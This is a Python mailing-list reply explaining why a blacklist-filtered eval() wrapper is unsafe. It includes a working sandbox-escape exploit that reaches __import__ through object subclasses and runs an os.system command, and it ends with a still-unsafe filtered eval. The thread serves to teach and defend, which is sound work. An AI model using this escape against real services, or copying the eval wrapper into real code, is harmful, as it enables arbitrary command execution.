On Thu, 03 Jan 2013 23:25:51 +0000, Grant Edwards wrote:
> I've written a small assembler in Python 2.[67], and it needs to
> evaluate integer-valued arithmetic expressions in the context of a
> symbol table that defines integer values for a set of names. The
> "right" thing is probably an expression parser/evaluator using ast, but
> it looked like that would take more code that the rest of the assembler
> combined, and I've got other higher-priority tasks to get back to.
>
> How badly am I deluding myself with the code below?
Pretty badly, sorry. See trivial *cough* exploit below.
> def lessDangerousEval(expr):
> global symbolTable
> if 'import' in expr:
> raise ParseError("operand expressions are not allowed to contain
> the string 'import'")
> globals = {'__builtins__': None}
> locals = symbolTable
> return eval(expr, globals, locals)
>
> I can guarantee that symbolTable is a dict that maps a set of string
> symbol names to integer values.
Here's one exploit. I make no promises that it is the simplest such one.
# get access to __import__
s = ("[x for x in (1).__class__.__base__.__subclasses__() "
"if x.__name__ == 'catch_warnings'][0]()._module"
".__builtins__['__imp' + 'ort__']")
# use it to get access to any module we like
t = s + "('os')"
# and then do bad things
urscrewed = t + ".system('echo u r pwned!')"
lessDangerousEval(urscrewed)
At a minimum, I would recommend:
* Do not allow any underscores in the expression being evaluated. Unless
you absolutely need to support them for names, they can only lead to
trouble.
* If you must allow underscores, don't allow double underscores. Every
restriction you apply makes it harder to exploit.
* Since you're evaluating mathematical expressions, there's probably no
need to allow quotation marks either. They too can only lead to trouble.
* Likewise for dots, since this is *integer* maths.
* Set as short as possible limit on the length of the string as you can
bare; the shorter the limit, the shorter any exploit must be, and it is
harder to write a short exploit than a long exploit.
* But frankly, you should avoid eval, and write your own mini-integer
arithmetic evaluator which avoids even the most remote possibility of
exploit.
So, here's my probably-not-safe-either "safe eval":
def probably_not_safe_eval(expr):
if 'import' in expr.lower():
raise ParseError("'import' prohibited")
for c in '_"\'.':
if c in expr:
raise ParseError('prohibited char %r' % c)
if len(expr) > 120:
raise ParseError('expression too long')
globals = {'__builtins__': None}
locals = symbolTable
return eval(expr, globals, locals) # fingers crossed!
I can't think of any way to break out of these restrictions, but that may
just mean I'm not smart enough.
--
Steven
--
http://mail.python.org/mailman/listinfo/python-list
